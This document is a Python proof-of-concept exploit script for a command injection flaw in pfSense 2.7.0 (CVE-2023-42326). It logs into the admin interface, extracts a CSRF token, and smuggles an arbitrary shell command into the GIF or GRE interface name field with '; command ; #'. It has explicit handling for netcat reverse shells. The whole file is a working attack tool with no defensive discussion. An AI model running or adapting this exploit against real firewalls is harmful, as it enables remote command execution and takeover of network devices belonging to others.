import requests import argparse import sys from datetime import datetime from rich.console import Console from rich.progress import Progress from rich import box from bs4 import BeautifulSoup import threading import urllib3 # Suppress InsecureRequestWarning urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) console = Console() def parse_args(): parser = argparse.ArgumentParser(description="pfSense 2.7.0 Command Injection Exploit PoC (CVE-2023-42326)") parser.add_argument('-u', '--username', required=True, help='Username for pfSense admin login') parser.add_argument('-p', '--password', required=True, help='Password for pfSense admin login') parser.add_argument('-t', '--target', required=True, help='Target pfSense IP (e.g., http://10.101.1.1)') parser.add_argument('--mode', required=True, choices=['gif', 'gre'], help='Exploit mode: gif or gre') parser.add_argument('-c', '--command', required=True, help='Command to inject') parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode to print response data') parser.add_argument('--insecure', action='store_true', help='Allow insecure server connections when using SSL (similar to curl -k)') return parser.parse_args() def print_banner(): banner = r""" ██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗ ██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝ ██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗ ██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝ ██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ Done with ❤️ by @bl4ckarch """ console.print(f"[bold cyan]{banner}[/bold cyan]") def timestamp(): return datetime.now().strftime("%Y-%m-%d %H:%M:%S") def check_target_reachable(target, insecure): try: response = requests.get(f"{target}/", verify=not insecure) if response.status_code == 200: console.print(f"[{timestamp()}] [bold green][SUCCESS] Target {target} is reachable[/bold green]") return True else: console.print(f"[{timestamp()}] [bold red][ERROR] Target {target} responded with status code {response.status_code}[/bold red]") return False except requests.exceptions.RequestException as e: console.print(f"[{timestamp()}] [bold red][ERROR] Target {target} is unreachable: {str(e)}[/bold red]") return False def get_csrf_token(session, target, url_path, insecure, debug): full_url = f"{target}/{url_path}" console.print(f"[{timestamp()}] [bold cyan][INFO] Fetching CSRF token from: {full_url}[/bold cyan]") response = session.get(full_url, verify=not insecure) if response.status_code != 200: console.print(f"[{timestamp()}] [bold red][ERROR] Failed to fetch page {url_path}[/bold red]") return None soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': '__csrf_magic'}) if csrf_token and csrf_token['value']: console.print(f"[{timestamp()}] [bold green][SUCCESS] CSRF token extracted successfully[/bold green]") if debug: console.print(f"[{timestamp()}] [bold yellow][DEBUG] CSRF token: {csrf_token['value']}[/bold yellow]") return csrf_token['value'] else: console.print(f"[{timestamp()}] [bold red][ERROR] Failed to extract CSRF token from {url_path}[/bold red]") return None def login(session, target, username, password, insecure, debug): csrf_token = get_csrf_token(session, target, "", insecure, debug) if not csrf_token: sys.exit(1) login_url = f"{target}/" login_data = { "__csrf_magic": csrf_token, "usernamefld": username, "passwordfld": password, "login": "Sign In" } console.print(f"[{timestamp()}] [bold cyan][INFO] Sending login request to {login_url}[/bold cyan]") response = session.post(login_url, data=login_data, verify=not insecure) if response.status_code == 200 and "dashboard" in response.text.lower(): console.print(f"[{timestamp()}] [bold green][SUCCESS] Logged in successfully[/bold green]") return True else: console.print(f"[{timestamp()}] [bold red][ERROR] Failed to log in, check username and password[/bold red]") return False def send_exploit(session, exploit_url, data, mode, insecure, debug): console.print(f"[{timestamp()}] [bold cyan][INFO] Sending {mode.upper()} exploit request to {exploit_url}[/bold cyan]") with Progress() as progress: task = progress.add_task(f"[cyan]Sending {mode.upper()} exploit...", total=100) for _ in range(100): progress.update(task, advance=1) try: exploit_response = session.post(exploit_url, data=data, timeout=10, verify=not insecure) if debug: console.print(f"[{timestamp()}] [bold yellow][DEBUG] Exploit response data: {exploit_response.text[:500]}[/bold yellow]") if exploit_response.status_code == 200: console.print(f"[{timestamp()}] [bold green][SUCCESS] {mode.upper()} Exploit sent successfully[/bold green]") else: console.print(f"[{timestamp()}] [bold red][ERROR] Failed to send the {mode.upper()} exploit[/bold red]") except requests.exceptions.Timeout: console.print(f"[{timestamp()}] [bold yellow][WARNING] Request timed out. Reverse shell might have been triggered. Check your listener![/bold yellow]") def exploit(session, target, command, mode, insecure, debug): url_path = "interfaces_gif_edit.php" if mode == 'gif' else "interfaces_gre_edit.php" param_name = "gifif" if mode == 'gif' else "greif" csrf_token = get_csrf_token(session, target, url_path, insecure, debug) if not csrf_token: sys.exit(1) exploit_url = f"{target}/{url_path}" malicious_data = { "__csrf_magic": csrf_token, "if": "wan", "remote-addr": "10.10.10.2", "tunnel-local-addr": "127.0.0.1", "tunnel-remote-addr": "10.10.10.2", "tunnel-remote-net": "16", "descr": "testpoc", param_name: f"; {command} ; #", "save": "Save" } if "nc" in command: console.print(f"[{timestamp()}] [bold blue][INFO] Netcat command detected. Running exploit in a new thread.[/bold blue]") thread = threading.Thread(target=send_exploit, args=(session, exploit_url, malicious_data, mode, insecure, debug)) thread.start() console.print(f"[{timestamp()}] [bold yellow][INFO] Check your reverse shell listener window[/bold yellow]") else: send_exploit(session, exploit_url, malicious_data, mode, insecure, debug) def main(): print_banner() args = parse_args() session = requests.Session() if not check_target_reachable(args.target, args.insecure): sys.exit(1) if not login(session, args.target, args.username, args.password, args.insecure, args.debug): sys.exit(1) exploit(session, args.target, args.command, args.mode, args.insecure, args.debug) if __name__ == "__main__": main()